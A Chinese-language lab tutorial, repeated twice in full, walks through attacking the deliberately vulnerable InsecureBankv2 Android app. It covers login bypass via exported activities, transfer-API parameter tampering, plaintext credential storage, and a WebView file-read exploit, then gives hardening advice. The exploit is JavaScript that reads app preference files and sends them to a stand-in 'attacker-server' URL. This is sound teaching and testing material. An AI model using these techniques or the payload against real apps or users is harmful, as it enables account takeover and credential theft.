1. 项目概述为什么我们要深入研究InsecureBankv2如果你是一名移动安全研究员、渗透测试工程师或者是一名对Android应用安全充满好奇的开发者那么InsecureBankv2这个名字你一定不陌生。它不是一个真实的银行应用而是一个被故意植入了多种安全漏洞的Android应用专门用于安全教学和渗透测试练习。我之所以花大量时间研究它是因为它几乎囊括了现实世界中Android应用可能遇到的所有经典安全问题从简单的组件暴露到复杂的逻辑漏洞堪称移动安全的“活靶场”。通过完整地剖析它你不仅能学会如何发现漏洞更能深刻理解攻击者的思维路径从而在开发自己的应用时提前筑起防线。这次我们的目标非常明确模拟一次完整的攻击链从最开始的“大门”登录界面绕过去一路深入到核心的“金库”转账功能并成功执行一次未授权的转账操作。这听起来像是电影情节但在配置不当的应用中这完全是可能的。整个过程会涉及到Android安全中的几个核心概念Activity组件暴露、Intent数据嗅探与劫持、以及WebView的本地文件包含漏洞。我会带你一步步拆解不仅告诉你“怎么做”更重要的是解释“为什么能这么做”以及在实际测试中如何避免这些坑。2. 环境搭建与目标应用分析2.1 测试环境准备不仅仅是安装一个APK工欲善其事必先利其器。一个稳定、可控的测试环境是成功的第一步。我强烈建议使用Android Studio自带的模拟器而不是真机。原因有三一是方便快照和重置测试崩溃了可以瞬间恢复二是可以轻松获取root权限便于进行更深层次的分析三是网络和文件操作更自由。首先你需要下载并安装最新版的Android Studio。安装过程中务必勾选Android SDK和相应的系统镜像。我推荐使用Android 8.0API 26或9.0API 28的镜像这两个版本在兼容性和漏洞复现方面比较平衡。安装完成后打开AVD Manager创建一个新的虚拟设备。在选择系统镜像时注意要选择带有“Google Play”标签的版本因为我们需要安装一些额外的工具。设备创建好后启动前记得在“高级设置”里将“摄像头”和“网络”都设置为桥接模式这样模拟器就能和你的主机在同一个网络下方便后续的流量拦截。接下来是获取InsecureBankv2的APK文件。你可以从GitHub上知名的安全项目仓库中找到它。下载后通过ADB命令安装到模拟器中adb install InsecureBankv2.apk。安装成功后你会在模拟器上看到一个名为“InsecureBank”的银行应用图标。别急着点开我们还需要几个关键的工具。ADBAndroid Debug Bridge这是与Android设备通信的瑞士军刀Android SDK Platform-Tools里自带。Drozer这是进行Android应用渗透测试的“神器”。你需要分别在电脑和模拟器上安装Drozer Agent。电脑端是一个Python工具模拟器端是一个APK。安装好后通过adb forward tcp:31415 tcp:31415命令建立转发然后在电脑端运行drozer console connect即可连接。Burp Suite或Fiddler用于拦截和分析应用的网络流量这对于发现API漏洞至关重要。需要在模拟器中配置代理并安装Burp的CA证书到系统信任区。JADX-GUI一个强大的反编译工具用于将APK文件反编译成可读的Java代码这是我们静态分析漏洞的起点。注意在模拟器中安装Burp的CA证书时需要将证书文件.der格式通过ADB推送到/system/etc/security/cacerts/目录下并修改权限为644。这通常需要模拟器具有root权限。你可以使用adb root和adb remount命令来获取并重新挂载系统分区为可写。2.2 应用初步侦察静态分析找入口在发起攻击之前我们必须像侦探一样先了解“目标建筑”的结构。我们将APK文件拖入JADX-GUI中等待其反编译完成。首先查看AndroidManifest.xml文件这是应用的“蓝图”定义了所有组件Activity、Service、Broadcast Receiver、Content Provider及其权限。快速浏览后你会发现一些明显的“红旗”多个Activity的android:exported属性被设置为true。这意味着这些Activity可以被系统内或其他应用启动是潜在的攻击入口。应用请求了过多的权限比如READ_SMS、ACCESS_FINE_LOCATION等对于一个银行应用来说有些权限显得可疑。可能存在自定义的scheme或intent-filter这可以用来进行深度链接攻击。我们的第一个目标登录绕过。在AndroidManifest.xml中搜索与登录相关的Activity通常命名为LoginActivity、MainActivity或AuthActivity。找到后查看它的exported属性。在InsecureBankv2中你很可能发现主登录Activity是导出的。但这还不够我们还需要看它的代码逻辑。在JADX中双击打开对应的Java文件查看onCreate方法。关键点在于它是否在启动时检查了用户的登录状态是否有一个“记住我”或自动登录的令牌验证机制如果验证逻辑存在缺陷比如仅仅检查一个本地存储的布尔值标志那么我们就可以通过直接启动其后的主界面Activity来绕过登录。3. 漏洞利用第一阶段登录绕过实战3.1 发现暴露的Activity组件通过Drozer我们可以自动化地发现所有导出的组件。在Drozer控制台中运行命令run app.package.attacksurface com.android.insecurebankv2。这个命令会列出目标应用所有暴露的Activity、Service、Broadcast Receiver和Content Provider。在返回的结果中你会看到一个Activity列表。除了登录界面很可能还有一个名为PostLogin、MainBankActivity或HomeActivity的组件也被标记为exportedtrue。这就是我们的潜在突破口。一个设计良好的应用PostLogin这样的核心界面绝对不应该被导出它应该在登录验证成功后由登录Activity内部启动。3.2 利用ADB进行登录绕过找到了目标Activity最简单的测试方法就是使用ADB命令直接启动它。Android的amActivity Manager命令可以启动任何组件。语法是adb shell am start -n com.android.insecurebankv2/.PostLogin。执行这条命令后观察模拟器。如果应用直接跳转到了登录后的主界面而没有要求输入用户名密码那么恭喜你登录绕过成功了这证明了应用完全依赖前端客户端的状态检查服务器端没有对每次界面跳转进行会话或令牌的二次验证。为什么这会成功在PostLoginActivity的onCreate方法中开发者可能只写了一句setContentView(R.layout.postlogin)而没有任何诸如if(!isUserLoggedIn()) { finish(); }的判断。或者它的登录状态检查依赖于一个存储在SharedPreferences中的标志而这个标志可以被其他方式篡改虽然直接启动Activity不会篡改它但说明状态维护机制很脆弱。实操心得这种漏洞在早期或内部测试版的应用中非常常见。开发者在快速迭代功能时为了方便测试可能会临时将一些组件导出事后却忘记了关闭。在真实渗透测试中一旦发现这种漏洞其风险等级通常为“高危”因为它直接导致了认证机制的失效。3.3 深入利用通过Intent传递参数仅仅绕过登录看到界面可能还不够我们可能还需要模拟一个已登录的特定用户。这时需要查看PostLoginActivity是否通过Intent接收参数。在JADX中查看其onCreate方法protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.postlogin); Intent intent getIntent(); String username intent.getStringExtra(username); // ... 可能用这个username来显示欢迎信息或查询用户数据 }如果代码如上那么我们可以通过ADB传递额外的参数adb shell am start -n com.android.insecurebankv2/.PostLogin --es username attacker。这样应用界面就可能显示“Welcome, attacker!”实现了身份伪装。4. 漏洞利用第二阶段拦截与篡改网络请求4.1 配置代理与证书安装绕过登录后我们进入了应用内部。接下来要探查其与服务器通信的API是否存在漏洞。首先确保Burp Suite已经启动并监听某个端口例如8080。在模拟器的Wi-Fi设置中长按已连接的网络选择“修改网络” - “高级选项” - 将代理设置为“手动”主机名填写你电脑的IP地址在命令行输入ipconfig或ifconfig查看端口填写Burp监听的端口如8080。配置完成后在模拟器的浏览器中访问http://burp下载Burp的CA证书。下载后系统会提示安装证书。在Android 7.0及以上版本为了拦截应用流量必须将证书安装到系统证书存储区而不仅仅是用户证书区。这需要root权限。通过ADB将证书文件推送到系统目录adb root adb remount adb push cacert.der /system/etc/security/cacerts/ adb shell chmod 644 /system/etc/security/cacerts/cacert.der重启模拟器后证书生效。现在打开InsecureBankv2应用进行登录或使用我们绕过登录后的界面进行操作你应该能在Burp Suite的Proxy - HTTP history中看到所有的HTTP/HTTPS请求和响应。4.2 分析并攻击转账API在应用内找到转账功能尝试进行一次小额转账。在Burp中捕获到这个请求。它可能看起来像这样POST /api/transfer HTTP/1.1 Host: vulnerable-bank.com Content-Type: application/json Cookie: sessionidabc123... {from_account:123456, to_account:987654, amount:10.00, description:Test}现在我们需要测试这个接口是否存在漏洞。常见的测试点包括参数篡改尝试修改from_account将其改为其他用户的账户测试服务端是否真的校验了“当前登录用户”必须等于“转出账户”。越权访问修改to_account为自己控制的另一个账户或者尝试进行负数转账amount:“-100.00”测试余额校验逻辑。缺少速率限制快速重复发送转账请求看是否能在短时间内发起多次转账。业务逻辑漏洞如果存在“转账”和“确认”两步测试是否可以在不经过确认步骤的情况下直接调用转账接口。在InsecureBankv2中你很可能会发现一个经典的“受害者ID篡改”漏洞。服务器端仅仅依靠请求体中的from_account参数来确定扣款方而没有将其与当前会话绑定的用户进行强关联。这意味着只要你知道任何人的账户号码你就可以将其作为from_account把你的钱转到他的账户或者更严重把他的钱转到你的账户。攻击模拟 在Burp Suite中将捕获到的请求发送到Repeater模块。将from_account参数的值修改为另一个受害用户的账户号这个信息可能通过应用的其他功能泄露比如“查看用户列表”或“密码重置”功能保持to_account为你自己的账户。发送请求。如果服务器返回成功那么一个严重的业务逻辑漏洞就被利用了。注意事项在进行此类测试时务必在授权的、隔离的环境中进行。永远不要对生产系统或未经授权的系统进行测试。InsecureBankv2的设计就是为了让你安全地练习这些攻击手法。5. 漏洞利用第三阶段客户端存储与敏感数据泄露5.1 探查不安全的本地存储Android应用会在本地存储大量数据包括SharedPreferences、SQLite数据库、内部存储文件等。如果这些数据包含敏感信息如会话令牌、密码明文、PIN码且保护不当攻击者一旦获取了物理设备访问权限或通过其他漏洞提升了权限就可以直接读取。使用ADB shell进入模拟器导航到应用的数据目录/data/data/com.android.insecurebankv2/。查看其中的shared_prefs文件夹和databases文件夹。adb shell su cd /data/data/com.android.insecurebankv2/ ls -la cat shared_prefs/*.xml sqlite3 databases/*.db .dump你可能会在shared_prefs的某个XML文件中发现以明文形式存储的用户名、密码或会话Token。在InsecureBankv2中这几乎是必然存在的漏洞用于教育开发者不要使用MODE_PRIVATE以外的模式存储敏感数据并且要考虑加密。5.2 利用WebView漏洞实现本地文件窃取InsecureBankv2很可能包含一个显示用户交易记录或公告的WebView组件。WebView如果配置不当会引入严重的漏洞。最典型的就是setAllowFileAccess(true)和setAllowFileAccessFromFileURLs(true)的组合。这允许WebView中加载的JavaScript通过file://协议访问设备的本地文件系统。攻击思路是诱骗用户或通过之前发现的Activity导出漏洞直接启动打开一个包含恶意JavaScript的HTML页面。这个页面可以是一个远程网页也可以是应用内部的一个页面。JavaScript代码可以尝试读取file:///data/data/com.android.insecurebankv2/shared_prefs/credentials.xml这样的文件并将其内容发送到攻击者控制的服务器。漏洞复现步骤在JADX中搜索WebView找到相关Activity。查看其onCreate方法中对WebView的设置。如果发现webView.getSettings().setAllowFileAccess(true);和webView.getSettings().setAllowFileAccessFromFileURLs(true);漏洞存在。编写一个简单的HTML文件包含如下JavaScriptscript function readFile(path) { var xhr new XMLHttpRequest(); xhr.open(GET, path, false); xhr.send(null); if(xhr.status 200) { // 将文件内容发送到攻击者服务器 new Image().src http://attacker-server/steal?data encodeURIComponent(xhr.responseText); } } readFile(file:///data/data/com.android.insecurebankv2/shared_prefs/ImportantPrefs.xml); /script将这个HTML文件托管在你的服务器上或者通过ADB推送到SD卡。利用导出的Activity漏洞或者通过一个钓鱼链接如果应用支持intent://或自定义scheme让应用的WebView加载这个恶意URLadb shell am start -a android.intent.action.VIEW -d http://your-server/evil.html com.android.insecurebankv2假设该应用能处理VIEW动作。查看你的服务器日志是否收到了敏感文件的内容。这个漏洞的危害极大它可以将客户端的本地敏感数据直接泄露给攻击者。6. 防御方案与安全开发建议通过以上对InsecureBankv2的攻击链条分析我们可以看到一个应用的安全防线是环环相扣的一处失守可能导致全线崩溃。下面从开发角度给出针对性的加固建议6.1 组件安全加固最小化导出原则在AndroidManifest.xml中将所有不需要被外部调用的组件的android:exported显式设置为false。对于必须导出的组件如需要被系统启动的Activity必须使用intent-filter并进行严格的输入验证和权限检查。自定义权限对于应用内部通信使用签名级别的自定义权限protectionLevel“signature”确保只有你自己签名的应用才能调用。Intent输入验证对所有通过Intent传递进来的Extra数据进行严格的类型、范围和合法性校验防止恶意数据注入。6.2 认证与会话管理服务端状态维护客户端的登录状态只是一个展示所有关键业务操作如查询余额、转账必须在服务端进行强会话验证。每个API请求都必须携带有效的、不可预测的Token并由服务端校验该Token对应的用户是否有权执行该操作。避免客户端敏感存储绝对不要在SharedPreferences、数据库或文件中明文存储密码、PIN码、完整会话Token。如需持久化应使用Android Keystore系统进行加密。生物特征认证对于转账等高危操作应集成指纹或面部识别等二次认证增加攻击门槛。6.3 网络安全与API设计证书绑定在应用中实现SSL Pinning防止中间人攻击即使设备信任了攻击者的CA证书应用也会拒绝连接。输入输出校验服务端对所有输入参数进行严格的业务逻辑校验。例如转账时“转出账户”必须与当前登录用户的账户绑定不能由客户端任意指定。“金额”必须为正数且小于等于余额。速率限制对登录、转账、短信验证码发送等接口实施严格的速率限制防止暴力破解和DoS攻击。6.4 WebView安全配置禁用危险设置除非绝对必要否则永远不要启用setAllowFileAccess(true)、setAllowFileAccessFromFileURLs(true)和setAllowUniversalAccessFromFileURLs(true)。在Android 4.1API 16之后后两者默认是关闭的但显式地将其设置为false是一个好习惯。内容安全策略如果WebView加载远程内容应设置严格的内容安全策略。本地页面隔离将WebView加载的本地HTML/CSS/JS资源放在assets或res目录下避免放在可写或用户数据目录防止被篡改。7. 总结与反思从攻击者视角看防御完成这一整套对InsecureBankv2的攻击演练给我的最大启示是安全是一个整体而非孤立的点。我们发现的每一个漏洞无论是客户端的组件暴露还是服务端的逻辑缺陷抑或是配置不当的WebView单独看可能危害有限但攻击者会像拼图一样将它们组合起来形成一条完整的攻击链最终造成严重的破坏。作为开发者或安全人员我们必须习惯用攻击者的思维来审视自己的产品。在开发每一个功能时多问一句“如果我是黑客我会怎么攻击这里” 定期进行威胁建模使用像InsecureBankv2这样的“靶场”进行内部培训和代码审计将安全编码规范纳入开发流程。同时要善用自动化工具如Android Lint、MobSF、QARK等在代码编译和构建阶段就发现潜在的安全问题。最后记住安全没有银弹。它需要持续的关注、学习和投入。通过像拆解InsecureBankv2这样的实践我们不仅能掌握攻击技术更能内化防御思想最终构建出更健壮、更值得用户信赖的移动应用。
Android应用安全实战：从InsecureBankv2漏洞剖析到渗透测试全流程
1. 项目概述为什么我们要深入研究InsecureBankv2如果你是一名移动安全研究员、渗透测试工程师或者是一名对Android应用安全充满好奇的开发者那么InsecureBankv2这个名字你一定不陌生。它不是一个真实的银行应用而是一个被故意植入了多种安全漏洞的Android应用专门用于安全教学和渗透测试练习。我之所以花大量时间研究它是因为它几乎囊括了现实世界中Android应用可能遇到的所有经典安全问题从简单的组件暴露到复杂的逻辑漏洞堪称移动安全的“活靶场”。通过完整地剖析它你不仅能学会如何发现漏洞更能深刻理解攻击者的思维路径从而在开发自己的应用时提前筑起防线。这次我们的目标非常明确模拟一次完整的攻击链从最开始的“大门”登录界面绕过去一路深入到核心的“金库”转账功能并成功执行一次未授权的转账操作。这听起来像是电影情节但在配置不当的应用中这完全是可能的。整个过程会涉及到Android安全中的几个核心概念Activity组件暴露、Intent数据嗅探与劫持、以及WebView的本地文件包含漏洞。我会带你一步步拆解不仅告诉你“怎么做”更重要的是解释“为什么能这么做”以及在实际测试中如何避免这些坑。2. 环境搭建与目标应用分析2.1 测试环境准备不仅仅是安装一个APK工欲善其事必先利其器。一个稳定、可控的测试环境是成功的第一步。我强烈建议使用Android Studio自带的模拟器而不是真机。原因有三一是方便快照和重置测试崩溃了可以瞬间恢复二是可以轻松获取root权限便于进行更深层次的分析三是网络和文件操作更自由。首先你需要下载并安装最新版的Android Studio。安装过程中务必勾选Android SDK和相应的系统镜像。我推荐使用Android 8.0API 26或9.0API 28的镜像这两个版本在兼容性和漏洞复现方面比较平衡。安装完成后打开AVD Manager创建一个新的虚拟设备。在选择系统镜像时注意要选择带有“Google Play”标签的版本因为我们需要安装一些额外的工具。设备创建好后启动前记得在“高级设置”里将“摄像头”和“网络”都设置为桥接模式这样模拟器就能和你的主机在同一个网络下方便后续的流量拦截。接下来是获取InsecureBankv2的APK文件。你可以从GitHub上知名的安全项目仓库中找到它。下载后通过ADB命令安装到模拟器中adb install InsecureBankv2.apk。安装成功后你会在模拟器上看到一个名为“InsecureBank”的银行应用图标。别急着点开我们还需要几个关键的工具。ADBAndroid Debug Bridge这是与Android设备通信的瑞士军刀Android SDK Platform-Tools里自带。Drozer这是进行Android应用渗透测试的“神器”。你需要分别在电脑和模拟器上安装Drozer Agent。电脑端是一个Python工具模拟器端是一个APK。安装好后通过adb forward tcp:31415 tcp:31415命令建立转发然后在电脑端运行drozer console connect即可连接。Burp Suite或Fiddler用于拦截和分析应用的网络流量这对于发现API漏洞至关重要。需要在模拟器中配置代理并安装Burp的CA证书到系统信任区。JADX-GUI一个强大的反编译工具用于将APK文件反编译成可读的Java代码这是我们静态分析漏洞的起点。注意在模拟器中安装Burp的CA证书时需要将证书文件.der格式通过ADB推送到/system/etc/security/cacerts/目录下并修改权限为644。这通常需要模拟器具有root权限。你可以使用adb root和adb remount命令来获取并重新挂载系统分区为可写。2.2 应用初步侦察静态分析找入口在发起攻击之前我们必须像侦探一样先了解“目标建筑”的结构。我们将APK文件拖入JADX-GUI中等待其反编译完成。首先查看AndroidManifest.xml文件这是应用的“蓝图”定义了所有组件Activity、Service、Broadcast Receiver、Content Provider及其权限。快速浏览后你会发现一些明显的“红旗”多个Activity的android:exported属性被设置为true。这意味着这些Activity可以被系统内或其他应用启动是潜在的攻击入口。应用请求了过多的权限比如READ_SMS、ACCESS_FINE_LOCATION等对于一个银行应用来说有些权限显得可疑。可能存在自定义的scheme或intent-filter这可以用来进行深度链接攻击。我们的第一个目标登录绕过。在AndroidManifest.xml中搜索与登录相关的Activity通常命名为LoginActivity、MainActivity或AuthActivity。找到后查看它的exported属性。在InsecureBankv2中你很可能发现主登录Activity是导出的。但这还不够我们还需要看它的代码逻辑。在JADX中双击打开对应的Java文件查看onCreate方法。关键点在于它是否在启动时检查了用户的登录状态是否有一个“记住我”或自动登录的令牌验证机制如果验证逻辑存在缺陷比如仅仅检查一个本地存储的布尔值标志那么我们就可以通过直接启动其后的主界面Activity来绕过登录。3. 漏洞利用第一阶段登录绕过实战3.1 发现暴露的Activity组件通过Drozer我们可以自动化地发现所有导出的组件。在Drozer控制台中运行命令run app.package.attacksurface com.android.insecurebankv2。这个命令会列出目标应用所有暴露的Activity、Service、Broadcast Receiver和Content Provider。在返回的结果中你会看到一个Activity列表。除了登录界面很可能还有一个名为PostLogin、MainBankActivity或HomeActivity的组件也被标记为exportedtrue。这就是我们的潜在突破口。一个设计良好的应用PostLogin这样的核心界面绝对不应该被导出它应该在登录验证成功后由登录Activity内部启动。3.2 利用ADB进行登录绕过找到了目标Activity最简单的测试方法就是使用ADB命令直接启动它。Android的amActivity Manager命令可以启动任何组件。语法是adb shell am start -n com.android.insecurebankv2/.PostLogin。执行这条命令后观察模拟器。如果应用直接跳转到了登录后的主界面而没有要求输入用户名密码那么恭喜你登录绕过成功了这证明了应用完全依赖前端客户端的状态检查服务器端没有对每次界面跳转进行会话或令牌的二次验证。为什么这会成功在PostLoginActivity的onCreate方法中开发者可能只写了一句setContentView(R.layout.postlogin)而没有任何诸如if(!isUserLoggedIn()) { finish(); }的判断。或者它的登录状态检查依赖于一个存储在SharedPreferences中的标志而这个标志可以被其他方式篡改虽然直接启动Activity不会篡改它但说明状态维护机制很脆弱。实操心得这种漏洞在早期或内部测试版的应用中非常常见。开发者在快速迭代功能时为了方便测试可能会临时将一些组件导出事后却忘记了关闭。在真实渗透测试中一旦发现这种漏洞其风险等级通常为“高危”因为它直接导致了认证机制的失效。3.3 深入利用通过Intent传递参数仅仅绕过登录看到界面可能还不够我们可能还需要模拟一个已登录的特定用户。这时需要查看PostLoginActivity是否通过Intent接收参数。在JADX中查看其onCreate方法protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.postlogin); Intent intent getIntent(); String username intent.getStringExtra(username); // ... 可能用这个username来显示欢迎信息或查询用户数据 }如果代码如上那么我们可以通过ADB传递额外的参数adb shell am start -n com.android.insecurebankv2/.PostLogin --es username attacker。这样应用界面就可能显示“Welcome, attacker!”实现了身份伪装。4. 漏洞利用第二阶段拦截与篡改网络请求4.1 配置代理与证书安装绕过登录后我们进入了应用内部。接下来要探查其与服务器通信的API是否存在漏洞。首先确保Burp Suite已经启动并监听某个端口例如8080。在模拟器的Wi-Fi设置中长按已连接的网络选择“修改网络” - “高级选项” - 将代理设置为“手动”主机名填写你电脑的IP地址在命令行输入ipconfig或ifconfig查看端口填写Burp监听的端口如8080。配置完成后在模拟器的浏览器中访问http://burp下载Burp的CA证书。下载后系统会提示安装证书。在Android 7.0及以上版本为了拦截应用流量必须将证书安装到系统证书存储区而不仅仅是用户证书区。这需要root权限。通过ADB将证书文件推送到系统目录adb root adb remount adb push cacert.der /system/etc/security/cacerts/ adb shell chmod 644 /system/etc/security/cacerts/cacert.der重启模拟器后证书生效。现在打开InsecureBankv2应用进行登录或使用我们绕过登录后的界面进行操作你应该能在Burp Suite的Proxy - HTTP history中看到所有的HTTP/HTTPS请求和响应。4.2 分析并攻击转账API在应用内找到转账功能尝试进行一次小额转账。在Burp中捕获到这个请求。它可能看起来像这样POST /api/transfer HTTP/1.1 Host: vulnerable-bank.com Content-Type: application/json Cookie: sessionidabc123... {from_account:123456, to_account:987654, amount:10.00, description:Test}现在我们需要测试这个接口是否存在漏洞。常见的测试点包括参数篡改尝试修改from_account将其改为其他用户的账户测试服务端是否真的校验了“当前登录用户”必须等于“转出账户”。越权访问修改to_account为自己控制的另一个账户或者尝试进行负数转账amount:“-100.00”测试余额校验逻辑。缺少速率限制快速重复发送转账请求看是否能在短时间内发起多次转账。业务逻辑漏洞如果存在“转账”和“确认”两步测试是否可以在不经过确认步骤的情况下直接调用转账接口。在InsecureBankv2中你很可能会发现一个经典的“受害者ID篡改”漏洞。服务器端仅仅依靠请求体中的from_account参数来确定扣款方而没有将其与当前会话绑定的用户进行强关联。这意味着只要你知道任何人的账户号码你就可以将其作为from_account把你的钱转到他的账户或者更严重把他的钱转到你的账户。攻击模拟 在Burp Suite中将捕获到的请求发送到Repeater模块。将from_account参数的值修改为另一个受害用户的账户号这个信息可能通过应用的其他功能泄露比如“查看用户列表”或“密码重置”功能保持to_account为你自己的账户。发送请求。如果服务器返回成功那么一个严重的业务逻辑漏洞就被利用了。注意事项在进行此类测试时务必在授权的、隔离的环境中进行。永远不要对生产系统或未经授权的系统进行测试。InsecureBankv2的设计就是为了让你安全地练习这些攻击手法。5. 漏洞利用第三阶段客户端存储与敏感数据泄露5.1 探查不安全的本地存储Android应用会在本地存储大量数据包括SharedPreferences、SQLite数据库、内部存储文件等。如果这些数据包含敏感信息如会话令牌、密码明文、PIN码且保护不当攻击者一旦获取了物理设备访问权限或通过其他漏洞提升了权限就可以直接读取。使用ADB shell进入模拟器导航到应用的数据目录/data/data/com.android.insecurebankv2/。查看其中的shared_prefs文件夹和databases文件夹。adb shell su cd /data/data/com.android.insecurebankv2/ ls -la cat shared_prefs/*.xml sqlite3 databases/*.db .dump你可能会在shared_prefs的某个XML文件中发现以明文形式存储的用户名、密码或会话Token。在InsecureBankv2中这几乎是必然存在的漏洞用于教育开发者不要使用MODE_PRIVATE以外的模式存储敏感数据并且要考虑加密。5.2 利用WebView漏洞实现本地文件窃取InsecureBankv2很可能包含一个显示用户交易记录或公告的WebView组件。WebView如果配置不当会引入严重的漏洞。最典型的就是setAllowFileAccess(true)和setAllowFileAccessFromFileURLs(true)的组合。这允许WebView中加载的JavaScript通过file://协议访问设备的本地文件系统。攻击思路是诱骗用户或通过之前发现的Activity导出漏洞直接启动打开一个包含恶意JavaScript的HTML页面。这个页面可以是一个远程网页也可以是应用内部的一个页面。JavaScript代码可以尝试读取file:///data/data/com.android.insecurebankv2/shared_prefs/credentials.xml这样的文件并将其内容发送到攻击者控制的服务器。漏洞复现步骤在JADX中搜索WebView找到相关Activity。查看其onCreate方法中对WebView的设置。如果发现webView.getSettings().setAllowFileAccess(true);和webView.getSettings().setAllowFileAccessFromFileURLs(true);漏洞存在。编写一个简单的HTML文件包含如下JavaScriptscript function readFile(path) { var xhr new XMLHttpRequest(); xhr.open(GET, path, false); xhr.send(null); if(xhr.status 200) { // 将文件内容发送到攻击者服务器 new Image().src http://attacker-server/steal?data encodeURIComponent(xhr.responseText); } } readFile(file:///data/data/com.android.insecurebankv2/shared_prefs/ImportantPrefs.xml); /script将这个HTML文件托管在你的服务器上或者通过ADB推送到SD卡。利用导出的Activity漏洞或者通过一个钓鱼链接如果应用支持intent://或自定义scheme让应用的WebView加载这个恶意URLadb shell am start -a android.intent.action.VIEW -d http://your-server/evil.html com.android.insecurebankv2假设该应用能处理VIEW动作。查看你的服务器日志是否收到了敏感文件的内容。这个漏洞的危害极大它可以将客户端的本地敏感数据直接泄露给攻击者。6. 防御方案与安全开发建议通过以上对InsecureBankv2的攻击链条分析我们可以看到一个应用的安全防线是环环相扣的一处失守可能导致全线崩溃。下面从开发角度给出针对性的加固建议6.1 组件安全加固最小化导出原则在AndroidManifest.xml中将所有不需要被外部调用的组件的android:exported显式设置为false。对于必须导出的组件如需要被系统启动的Activity必须使用intent-filter并进行严格的输入验证和权限检查。自定义权限对于应用内部通信使用签名级别的自定义权限protectionLevel“signature”确保只有你自己签名的应用才能调用。Intent输入验证对所有通过Intent传递进来的Extra数据进行严格的类型、范围和合法性校验防止恶意数据注入。6.2 认证与会话管理服务端状态维护客户端的登录状态只是一个展示所有关键业务操作如查询余额、转账必须在服务端进行强会话验证。每个API请求都必须携带有效的、不可预测的Token并由服务端校验该Token对应的用户是否有权执行该操作。避免客户端敏感存储绝对不要在SharedPreferences、数据库或文件中明文存储密码、PIN码、完整会话Token。如需持久化应使用Android Keystore系统进行加密。生物特征认证对于转账等高危操作应集成指纹或面部识别等二次认证增加攻击门槛。6.3 网络安全与API设计证书绑定在应用中实现SSL Pinning防止中间人攻击即使设备信任了攻击者的CA证书应用也会拒绝连接。输入输出校验服务端对所有输入参数进行严格的业务逻辑校验。例如转账时“转出账户”必须与当前登录用户的账户绑定不能由客户端任意指定。“金额”必须为正数且小于等于余额。速率限制对登录、转账、短信验证码发送等接口实施严格的速率限制防止暴力破解和DoS攻击。6.4 WebView安全配置禁用危险设置除非绝对必要否则永远不要启用setAllowFileAccess(true)、setAllowFileAccessFromFileURLs(true)和setAllowUniversalAccessFromFileURLs(true)。在Android 4.1API 16之后后两者默认是关闭的但显式地将其设置为false是一个好习惯。内容安全策略如果WebView加载远程内容应设置严格的内容安全策略。本地页面隔离将WebView加载的本地HTML/CSS/JS资源放在assets或res目录下避免放在可写或用户数据目录防止被篡改。7. 总结与反思从攻击者视角看防御完成这一整套对InsecureBankv2的攻击演练给我的最大启示是安全是一个整体而非孤立的点。我们发现的每一个漏洞无论是客户端的组件暴露还是服务端的逻辑缺陷抑或是配置不当的WebView单独看可能危害有限但攻击者会像拼图一样将它们组合起来形成一条完整的攻击链最终造成严重的破坏。作为开发者或安全人员我们必须习惯用攻击者的思维来审视自己的产品。在开发每一个功能时多问一句“如果我是黑客我会怎么攻击这里” 定期进行威胁建模使用像InsecureBankv2这样的“靶场”进行内部培训和代码审计将安全编码规范纳入开发流程。同时要善用自动化工具如Android Lint、MobSF、QARK等在代码编译和构建阶段就发现潜在的安全问题。最后记住安全没有银弹。它需要持续的关注、学习和投入。通过像拆解InsecureBankv2这样的实践我们不仅能掌握攻击技术更能内化防御思想最终构建出更健壮、更值得用户信赖的移动应用。
